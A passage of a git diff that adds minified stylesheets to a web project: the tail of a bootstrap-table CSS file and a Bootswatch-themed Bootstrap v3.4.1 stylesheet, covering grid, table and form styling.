.fixed-table-body{border:1px solid #ddd}.bootstrap-table table>tbody>tr>td,.bootstrap-table table>tbody>tr>th,.bootstrap-table table>tfoot>tr>td,.bootstrap-table table>tfoot>tr>th,.bootstrap-table table>thead>tr>td,.bootstrap-table table>thead>tr>th{white-space:nowrap}.bootstrap-table .fixed-table-toolbar .columns-right{display:none;}} +.bootstrap-table.bootstrap3 .fixed-table-pagination>.pagination .page-jump-to{display:inline-block}.bootstrap-table.bootstrap3 .fixed-table-pagination>.pagination .input-group-btn{width:auto}.bootstrap-table .fixed-table-pagination>.pagination .page-jump-to input{width:70px;margin-left:5px;text-align:center;float:left} +.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle} +.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle} +.bootstrap-table ul.pagination>.active>a,.bootstrap-table ul.pagination>.active>a:focus,.bootstrap-table ul.pagination>.active>a:hover{color: #fff;background-color: #337ab7;border-color: #337ab7;} \ No newline at end of file diff --git a/assets/css/bootstrap.min.css b/assets/css/bootstrap.min.css new file mode 100644 index 0000000..fd9bff6 --- /dev/null +++ b/assets/css/bootstrap.min.css @@ -0,0 +1,11 @@ +/*! + * bootswatch v3.4.1 + * Homepage: http://bootswatch.com + * Copyright 2012-2019 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v3.4.1 (https://getbootstrap.com/) + * Copyright 2011-2019 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,*:before,*:after{color:#000 !important;text-shadow:none !important;background:transparent !important;box-shadow:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important}.label{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}*{box-sizing:border-box}*:before,*:after{box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#555555;background-color:#ffffff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#2fa4e7;text-decoration:none}a:hover,a:focus{color:#157ab5;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive,.thumbnail>img,.thumbnail a>img,.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eeeeee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role="button"]{cursor:pointer}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.2;color:#317eac}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:400;line-height:1;color:#999999}h1,.h1,h2,.h2,h3,.h3{margin-top:20px;margin-bottom:10px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10px;margin-bottom:10px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}small,.small{font-size:85%}mark,.mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#999999}.text-primary{color:#2fa4e7}a.text-primary:hover,a.text-primary:focus{color:#178acc}.text-success{color:#468847}a.text-success:hover,a.text-success:focus{color:#356635}.text-info{color:#3a87ad}a.text-info:hover,a.text-info:focus{color:#2d6987}.text-warning{color:#c09853}a.text-warning:hover,a.text-warning:focus{color:#a47e3c}.text-danger{color:#b94a48}a.text-danger:hover,a.text-danger:focus{color:#953b39}.bg-primary{color:#fff;background-color:#2fa4e7}a.bg-primary:hover,a.bg-primary:focus{background-color:#178acc}.bg-success{background-color:#dff0d8}a.bg-success:hover,a.bg-success:focus{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover,a.bg-info:focus{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover,a.bg-warning:focus{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover,a.bg-danger:focus{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eeeeee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dt,dd{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eeeeee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#999999}blockquote footer:before,blockquote small:before,blockquote .small:before{content:"\2014 \00A0"}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eeeeee;border-left:0}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:""}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:"\00A0 \2014"}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#ffffff;background-color:#333333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #cccccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.row-no-gutters{margin-right:0;margin-left:0}.row-no-gutters [class*="col-"]{padding-right:0;padding-left:0}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0%}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0%}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0%}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0%}}table{background-color:transparent}table col[class*="col-"]{position:static;display:table-column;float:none}table td[class*="col-"],table th[class*="col-"]{position:static;display:table-cell;float:none}caption{padding-top:8px;padding-bottom:8px;color:#999999;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #dddddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #dddddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #dddddd}.table .table{background-color:#ffffff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #dddddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#555555;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type="search"]{box-sizing:border-box;-webkit-appearance:none;appearance:none}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"].disabled,input[type="checkbox"].disabled,fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:9px;font-size:14px;line-height:1.42857143;color:#555555}.form-control{display:block;width:100%;height:38px;padding:8px 12px;font-size:14px;line-height:1.42857143;color:#555555;background-color:#ffffff;background-image:none;border:1px solid #cccccc;border-radius:4px;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.form-control::-moz-placeholder{color:#999999;opacity:1}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eeeeee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}@media screen and (-webkit-min-device-pixel-ratio:0){input[type="date"].form-control,input[type="time"].form-control,input[type="datetime-local"].form-control,input[type="month"].form-control{line-height:38px}input[type="date"].input-sm,input[type="time"].input-sm,input[type="datetime-local"].input-sm,input[type="month"].input-sm,.input-group-sm input[type="date"],.input-group-sm input[type="time"],.input-group-sm input[type="datetime-local"],.input-group-sm input[type="month"]{line-height:30px}input[type="date"].input-lg,input[type="time"].input-lg,input[type="datetime-local"].input-lg,input[type="month"].input-lg,.input-group-lg input[type="date"],.input-group-lg input[type="time"],.input-group-lg input[type="datetime-local"],.input-group-lg input[type="month"]{line-height:54px}}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;margin-top:10px;margin-bottom:10px}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.radio label,.checkbox label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-top:4px \9;margin-left:-20px}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}.form-control-static{min-height:34px;padding-top:9px;padding-bottom:9px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}textarea.input-sm,select[multiple].input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm textarea.form-control,.form-group-sm select[multiple].form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:54px;padding:14px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:54px;line-height:54px}textarea.input-lg,select[multiple].input-lg{height:auto}.form-group-lg .form-control{height:54px;padding:14px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:54px;line-height:54px}.form-group-lg textarea.form-control,.form-group-lg 